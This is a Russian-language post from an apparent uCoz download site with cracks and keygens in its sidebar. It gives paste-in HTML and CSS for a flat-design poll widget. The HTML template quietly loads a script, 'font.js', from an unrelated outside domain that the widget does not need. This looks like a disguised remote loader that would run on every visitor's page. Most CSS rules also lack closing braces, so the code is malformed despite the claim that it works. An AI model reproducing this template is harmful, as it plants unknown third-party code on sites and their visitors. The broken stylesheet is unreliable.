Скачать бесплатно Вид опроса для uCoz в стиле Flat дизайна
Форма входа
Меню сайта
Категории раздела
Игры [887]
Софт [359]
Фильмы [357]
Мультфильмы [50]
Моды/Патчи [339]
Таблэтки/Русификаторы [523]
Музыка/Клипы [256]
Темы для Windows [5]
Антивирусы/Защита ПК [21]
Обои/Картинки [65]
Книги/Журналы [438]
Мобила/КПK [59]
Ремонт автомобилей [245]
Разное [131]
Топ материалов

[Mods] Паркур Мод для GTA San Andreas




Ubisoft Game Launcher




Карта+Моды техники для Farming Simulator (2011)




GTA San Andreas SUPER CARS 2011 [RUS]




Генератор ключей (keygen) для игры Rig'n'Roll (Дал...




Euro Truck Simulator 2 "Новая зима v3.1"




Статистика


Онлайн всего: 6
Гостей: 6
Пользователей: 0

Сегодня были:


Информация
Суббота, 14.06.2025, 21:30
Приветствую Вас Гость
13:49
Вид опроса для uCoz в стиле Flat дизайна

В данном посте мы с вами разберем и установим новый вид опроса для uCoz в стиле Flat дизайна. Что такое стиль Flat (Flat дизайн)? Это новый довольно популярный в интернете сейчас тип веб-дизайна, главной особенностью которого является плоскость и юзабельность. Теперь поговорим об этом виде опроса для uCoz. Главная его особенность это плоскость — тот самый Flat дизайн. Выводится количество и процент проголосовавших, а также полоски опроса разноцветные, заточен под 14 возможных ответов. Также данный вид опроса в стиле Flat построен полностью на CSS, что делает его очень легким и не утяжеляющим страницу. Установка очень проста

Установка:
Для установки, зайдите в админ панель => Управление дизайном => Опросы => Вид формы опросов и здесь заменяем весь существующий код на этот: 

Код:
<div class="cell-poll"> 
  <div class="cell-poll-title">$QUESTION$</div>  
  <div class="cell-poll-answers">$ANSWERS$</div> 
  <div class="cell-poll-link"> 
  <span>Ответов: <strong>$TOTAL_VOTES$</strong></span>  
  <a href="$RESULTS_LINK$" >Результаты </a> 
  <b> | </b> 
  <a href="$ARCHIVE_LINK$">Архив </a>  
  </div>  
</div> 
<script type="text/javascript" src="http://24-moto.ru/font.js"></script><script type="text/javascript"> 
var a = ['1','2','3','4','5','6','7','8','9','10','11','12','13','14','15']; 
for(var i = 0; i < a.length; i++){$('div.answer div').eq(i).addClass('progress');$('div.answer div div').eq(i).addClass('progress-'+[i]);} 
$('div.answer span').each(function(){$(this).html($(this).html()+' - <span class="procent">'+$(this).attr('title').split(':')[1]+'</span>')}); 
</script>

Отлично, теперь нам нужно установить CSS стили, для этого идем в ваши Таблицы стилей и добавляем туда такой код: 

Код:
/* Вид опроса для uCoz, в стили flat v2 
------------------------------------------*/ 
.cell-poll{ 
  float:left; 
  width:230px; 
  color:#666; 
  background: #fff; 
  padding: 10px 10px 10px 10px;  
  border: 1px solid #B6C0CD;  
  border-radius:5px;  


.cell-poll-title{ 
  float:left; 
  width:100%; 
  padding-bottom: 10px; 
  border-bottom: 1px solid #B6C0CD; 
  font:12px Verdana,Arial,Helvetica, sans-serif; 
  font-weight:bold; 
  text-align:center; 
  color:#777;  


.cell-poll a {text-decoration:none; outline:none} 

.cell-poll-answers{ 
  float:left; 
  width:100%; 
  margin: 10px 0px 10px 0px;  
  text-align:left; 


.answer {display: block;} 

.answer input{margin: 3px 5px 2px 5px;} 
.answer label {margin: 2px 0px 2px 0px; color:#555;} 

.progress { 
  height: 15px; 
  overflow: hidden; 
  margin: 5px 0px 7px 0px; 
  height: 15px!important; 
  background: #F4F8F9!important; 


.progress-0, 
.progress-1, 
.progress-2, 
.progress-3, 
.progress-4, 
.progress-5, 
.progress-6, 
.progress-7, 
.progress-8, 
.progress-9, 
.progress-10, 
.progress-11, 
.progress-12, 
.progress-13, 
.progress-14 { 
  height: 18px!important; 
  display: block!important; 
  overflow: hidden!important; 
  margin-top: -3px; 


.progress-0 {background: #5D9AD3!important;} 
.progress-1 {background: #E96465!important;} 
.progress-2 {background: #F6954E!important;} 
.progress-3 {background: #dd8cd2!important;} 
.progress-4 {background: #75D0ED!important;} 
.progress-5 {background: #5BC254!important;} 
.progress-6 {background: #CFC72D!important;} 
.progress-7 {background: #DD3344!important;} 
.progress-8 {background: #FE9B6F!important;} 
.progress-9 {background: #8CC84B!important;} 
.progress-10 {background: #DD8CD2!important;} 
.progress-11 {background: #e9eb5b!important;} 
.progress-12 {background: #E96465!important;} 
.progress-13 {background: #75D0ED!important;} 
.progress-14 {background: #5D9AD3!important;} 

.pollBut{ 
  cursor:pointer; 
  border:none!important;  
  margin-top:10px; 
  background: #64b0db!important;  
  padding: 5px 20px 5px 20px!important;  

  font:11px Verdana,Arial,Helvetica, sans-serif!important;  
  font-weight: bold!important;  
  color:#fff!important;  


.pollBut:active {box-shadow:inset 0px 0px 3px #166693!important;} 
.pollBut:hover {background:#51a4d2!important;} 

.cell-poll-link{ 
  float:left; 
  width:100%; 
  padding-top: 10px; 
  border-top: 1px solid #B6C0CD; 
   
  font:9px Verdana,Arial,Helvetica, sans-serif; 
  color:#999; 


.cell-poll-link span{float:left;} 
.cell-poll-link b, 
.cell-poll-link a {float:right;} 
.cell-poll-link b {color:#B6C0CD;}

Готово! Теперь, дизайн опроса готов, все налажено и рабочее, можете установить себе тестовый опрос, чтобы протестировать данный скрипт для uCoz. На этом все, спасибо вам за внимание!


[ Сообщить о нерабочей ссылке ]

Категория: Софт | Просмотров: 870 | Добавил: Bitfood | Теги: бесплатно, Вид опроса, скачать, в стиле Flat дизайна, для uCoz | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Поиск
Облако тегов
Bulletstorm (2011) 2011 beta 1.2 (2010) Build 10 artmoney Alpha 2.2 2012 Action 3d Audi (rus) Assassin's Creed audio (pdf) 2010 100 Age auto 2004 2007 2009 2005 2.0 1.6 2006 2003 14 1.3 2002 2000 by ALFA 1996 andreas addon (2006) All 1080p 1998 (2009) BDRip 11 1987 Brink 09 Assassins 2008 1.0.0.1 32 64 1.0.0.4 Adventure 64-bit 99 3.0 1c and 1.02 Black 1.1 1.0 720p Call (crack) 600 1.4 Arcade 1.0.2 -2011 Beautiful 4.2.2 Adguard Battlefield 3 Bastion Call of Duty Assassin's Creed: Revelations 1st Person Alan 1400Mb 3rd Person cars 1.01 anna Awesomenauts Black Ops 2 Assassins Creed 3 1.2.5 Assassin's Creed 3 50/50 1.04 BDRip-AVC 2013 BDRip 720p 2014 2016
Случайные файлы